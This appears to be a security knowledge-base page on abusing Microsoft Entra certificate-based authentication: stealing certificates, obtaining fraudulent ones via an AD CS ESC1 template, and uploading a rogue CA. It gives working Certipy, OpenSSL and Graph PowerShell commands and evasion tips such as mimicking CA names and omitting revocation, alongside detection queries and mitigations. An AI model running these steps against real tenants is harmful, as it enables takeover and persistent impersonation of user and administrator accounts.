How it works
Microsoft Entra certificate-based authentication (CBA) lets a user sign in with an X.509 certificate. The tenant decides three things:
- Which issuers to trust. Certificate authorities (CAs) are uploaded to a trust store. The newer PKI-based store is managed by Privileged Authentication Administrators; the classic store by Global Administrators. Microsoft states the consequence directly: certificates issued by a CA in the configuration can authenticate any user in the tenant.
- How a certificate maps to a user. Username bindings map a certificate field to a user attribute. The default maps the Principal Name in the certificate's subject alternative name to
userPrincipalName. Other bindings map fields such as the subject key identifier or the issuer and serial number to values stored in the user'scertificateUserIds. - How strong the sign-in counts. Authentication binding rules decide whether a certificate from a given issuer or policy counts as single-factor or multifactor.
A certificate is public. Proof requires the private key. "Pass-the-certificate" against Entra therefore means unauthorized use of a key inside one of these trust relationships, and there are four ways to get there:
- Stolen certificate and key. The attacker exports a user's certificate with its private key from a workstation, a backup or a PFX file, and signs in with it.
- Fraudulently issued certificate. The attacker gets a trusted CA to issue a certificate that names the victim. When the tenant trusts the organization's AD CS CA and uses the default Principal Name binding, a template that lets the requester supply the subject alternative name (ESC1) yields a certificate for any UPN, including a cloud administrator's.
- Rogue CA in the trust store. An attacker with the right role uploads a CA whose key they hold, then issues certificates for any user in scope.
- Changed binding. The attacker loosens the username binding to a field they can control, or writes a value into a target user's
certificateUserIdsthat matches a certificate they hold.
Three kinds of certificate exist in a tenant and they prove different things. A user certificate proves a user to Entra through CBA. An application certificate credential lets a service principal sign a client assertion; see application credential abuse. A device registration certificate identifies a device. A successful application or device authentication says nothing about user CBA.
Prerequisites
- Certificate-based authentication enabled for the target user in the authentication methods policy, or Authentication Policy Administrator rights to enable it.
- One of:
- the user's certificate with its private key;
- the ability to obtain a certificate that maps to the user from a CA the tenant trusts;
- Privileged Authentication Administrator or Global Administrator to add a CA (Global Administrator for the classic store), or an application with a Graph permission that can write the trust store;
- rights to change the CBA binding rules or the target user's
certificateUserIds.
- A binding rule under which the attacker's certificate maps to the target account.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Read the tenant's CBA configuration
The method configuration shows whether CBA is on, for whom, and the username and authentication bindings:
Connect-MgGraph -Scopes 'Policy.Read.All', 'Organization.Read.All'
Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId 'X509Certificate' |
ConvertTo-Json -Depth 6
# CAs in the classic trust store
$org = Get-MgOrganization
(Get-MgOrganizationCertificateBasedAuthConfiguration -OrganizationId $org.Id).CertificateAuthorities |
Select-Object Issuer, IssuerSki, IsRootAuthority
The issuer names tell the attacker which CA to target. If one of them is the organization's AD CS CA, the on-premises certificate attacks apply to the cloud.
2. Variant: certificate from a trusted AD CS CA
Certipy requests a certificate for a chosen UPN from a template that allows the requester to supply it:
certipy req -u alice@corp.example.com -p 'PASSWORD' -ca CORP-CA -target SRV01.corp.example.com \
-template VulnerableTemplate -upn cloudadmin@corp.example.com
The resulting PFX holds a certificate whose Principal Name is the target user, issued by a CA the tenant trusts.
3. Variant: add a rogue CA
Create a CA and a user certificate with OpenSSL. The subject alternative name carries the UPN in the form Windows and Entra read:
# Root CA
openssl req -x509 -newkey rsa:4096 -sha256 -days 730 -nodes \
-keyout ca.key -out ca.crt -subj "/CN=Corp Issuing CA 2"
# User key and request
openssl req -newkey rsa:2048 -nodes -keyout user.key -out user.csr -subj "/CN=cloudadmin"
# Sign it with client authentication usage and the target UPN in the SAN
printf 'extendedKeyUsage=clientAuth\nsubjectAltName=otherName:1.3.6.1.4.1.311.20.2.3;UTF8:cloudadmin@corp.example.com\n' > ext.cnf
openssl x509 -req -in user.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
-out user.crt -days 365 -sha256 -extfile ext.cnf
# Bundle for import into a browser or the Windows user store
openssl pkcs12 -export -inkey user.key -in user.crt -out user.pfx
# DER copy of the CA certificate for the upload
openssl x509 -in ca.crt -outform der -out ca.crt.der
Upload the CA certificate to the PKI-based trust store:
Connect-MgGraph -Scopes 'PublicKeyInfrastructure.ReadWrite.All'
$pki = New-MgDirectoryPublicKeyInfrastructureCertificateBasedAuthConfiguration -BodyParameter @{ displayName = 'Corp PKI 2' }
$ca = @{
certificateAuthorityType = 'root'
displayName = 'Corp Issuing CA 2'
certificate = [System.IO.File]::ReadAllBytes('ca.crt.der')
}
New-MgDirectoryPublicKeyInfrastructureCertificateBasedAuthConfigurationCertificateAuthority `
-CertificateBasedAuthPkiId $pki.Id -BodyParameter $ca
If CBA is not enabled for the target, the attacker also needs to enable the X.509 certificate method for a group that contains the account, which is a change to the authentication methods policy.
4. Sign in with the certificate
Import the PFX into the user certificate store or the browser. At https://login.microsoftonline.com, enter the target's user name and choose "Use a certificate or smart card". The browser presents the certificate, Entra validates the chain against the trust store, applies the username binding and signs the attacker in as the target. If the authentication binding rule for that issuer says multifactor, the session satisfies MFA requirements.
5. Variant: stolen user certificate
With a user's exported PFX and its password, step 4 is the whole attack. No tenant configuration changes and no certificate is issued.
Impact
The attacker signs in as the mapped user without the password and without the user's MFA methods. Where the binding rules treat the certificate as multifactor, Conditional Access MFA requirements are met.
The tenant variants are worse than one stolen credential. A rogue CA lets the attacker mint a certificate for any user in scope of CBA, at any time, and the trust survives password resets and MFA re-registration of every affected account. If the tenant trusts an on-premises CA, compromise of that CA, or of one over-permissive template, becomes compromise of cloud accounts, including cloud-only administrators if they are in scope.
OPSEC and artifacts
- Use an existing CA if possible. A certificate from a CA the tenant already trusts needs no directory change. The issuance is recorded on the CA (for AD CS, the certificate request and issuance events and the CA database), and the sign-in shows certificate authentication for a user who may never have used it.
- Name the rogue CA like the real ones. A similar subject name survives a glance at the trust store. The subject key identifier and thumbprint differ from every CA the PKI team operates.
- Trust store changes are logged. Additions to the PKI-based store appear as
Create CertificateAuthorityEntityand related activities. Researchers report that the classic store appears asSet Company Informationwith the modified propertyTrustedCAsForPasswordlessAuth. - Policy changes are logged. Enabling the method or changing bindings writes an authentication methods policy update. Writing
certificateUserIdson a user is a user update. - No revocation list. A CA uploaded without a CRL distribution point is not checked for revocation, so the attacker's certificates cannot be revoked by the defender. The missing CRL URL on the CA entry is itself visible.
- Sign-in trail. The sign-in log records the authentication method as an X.509 certificate with the result of each step, and the address the attacker used. It does not identify the person holding the key.
- Stolen key. Export of a private key from a user store leaves endpoint traces only. In Entra the sign-in is indistinguishable from the user's own, apart from its source.
Detection
- Trust store changes. The rogue certificate authority rules read Create CertificateAuthorityEntity, Update CertificateAuthorityEntity, Add CertificateBasedAuthConfiguration and Update CertificateBasedAuthConfiguration, plus the classic store event. Every addition should match a planned PKI change.
- Method and binding changes. The authentication methods policy rules read Authentication Methods Policy Update. Look for CBA being enabled, target groups widened or a binding moved to a weaker field.
- First certificate sign-in. A user, especially a privileged one, who signs in with a certificate for the first time, or does so shortly after a trust store or policy change.
- On-premises issuance. For tenants that trust AD CS, the certificate request events on the CA and the detections for the ESC misconfigurations.
// Changes to the CBA trust stores and the authentication methods policy
AuditLogs
| where OperationName in~ ("Create CertificateAuthorityEntity", "Update CertificateAuthorityEntity",
"Restore CertificateAuthorityEntity", "Add CertificateBasedAuthConfiguration",
"Update CertificateBasedAuthConfiguration", "Authentication Methods Policy Update")
or (OperationName =~ "Set Company Information" and tostring(TargetResources) has "TrustedCAsForPasswordlessAuth")
| project TimeGenerated, OperationName, Result, InitiatedBy, TargetResources
| order by TimeGenerated desc
// Sign-ins that used a certificate, by user and address
SigninLogs
| where TimeGenerated >= ago(30d) and ResultType == "0"
| mv-expand Step = todynamic(AuthenticationDetails)
| where tostring(Step.authenticationMethod) has "Certificate"
| summarize SignIns = count(), First = min(TimeGenerated), Addresses = make_set(IPAddress, 10)
by UserPrincipalName
| order by First desc
Confirm the method text your tenant records before narrowing the second query. A successful certificate sign-in proves that someone used the private key; who operated it is a separate question for endpoint and key custody evidence.
Mitigation
- If you do not use CBA, keep it off. Leave the X.509 certificate method disabled and both trust stores empty, and alert on any CA being added.
- Guard the roles. Keep Privileged Authentication Administrator, Authentication Policy Administrator and Global Administrator on a small number of cloud-only, PIM-managed accounts.
- Use high-affinity bindings. Map on a field that identifies one certificate, such as the subject key identifier or issuer and serial number stored in
certificateUserIds, instead of the Principal Name. A certificate issued for someone else's UPN then maps to nobody. - Scope the method. Enable CBA only for the groups that hold certificates, and keep cloud-only administrators out of scope unless they need it.
- Configure revocation. Give every trusted CA a CRL distribution point so certificates can be revoked, and review the trusted CAs against the PKI inventory.
- Harden the issuing CA. If the tenant trusts AD CS, the template and CA misconfigurations become cloud risks: fix templates that let requesters supply subject names and limit enrollment rights. See ESC1 and, for the on-premises use of certificates, Pass-the-Cert.
- Protect private keys. Issue user certificates to smart cards or hardware-backed stores and mark keys non-exportable.
- When responding, remove the rogue CA or binding, restore the method's target groups and rules, revoke the sessions of every account that signed in with a certificate since the change, and investigate the identity that made it.
Detection rules for this attack
Log events to collect
FAQ
What is certificate-based authentication in Microsoft Entra ID?
A sign-in method where the user presents an X.509 certificate instead of a password. Entra validates the certificate chain against the certificate authorities the tenant trusts, then maps a field of the certificate to a user through the tenant's username binding rules. Depending on the authentication binding rules, the sign-in counts as single-factor or multifactor.
How is this different from Pass-the-Cert in Active Directory?
The on-premises technique presents a certificate to a domain controller, over Schannel to LDAP or through PKINIT. This page is about presenting a certificate to Microsoft Entra ID. The two meet when the tenant trusts the on-premises certificate authority: a certificate obtained through an AD CS misconfiguration can then sign in to the cloud as well.
Can a certificate in an inventory or audit log be used to sign in?
No. A certificate is public material. Signing in requires the matching private key. That is why the attack needs either theft of the key, issuance of a new certificate for a key the attacker holds, or a change to the tenant's trust so a certificate from the attacker's own authority is accepted.
Does a rogue certificate authority survive password resets?
Yes. The trust is tenant configuration. Certificates issued by that authority keep working for every user in scope after passwords are reset and MFA methods are re-registered, until the authority is removed from the trust store and the sessions it produced are revoked.
References
- Steal or Forge Authentication Certificates, T1649 (MITRE ATT&CK)
- What is Microsoft Entra certificate-based authentication? (Microsoft Learn)
- How to configure Microsoft Entra certificate-based authentication (Microsoft Learn)
- Configure certificate authorities for Microsoft Entra certificate-based authentication (Microsoft Learn)
- Passwordless persistence and privilege escalation in Azure (SpecterOps)
- Microsoft identity platform application authentication certificate credentials (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.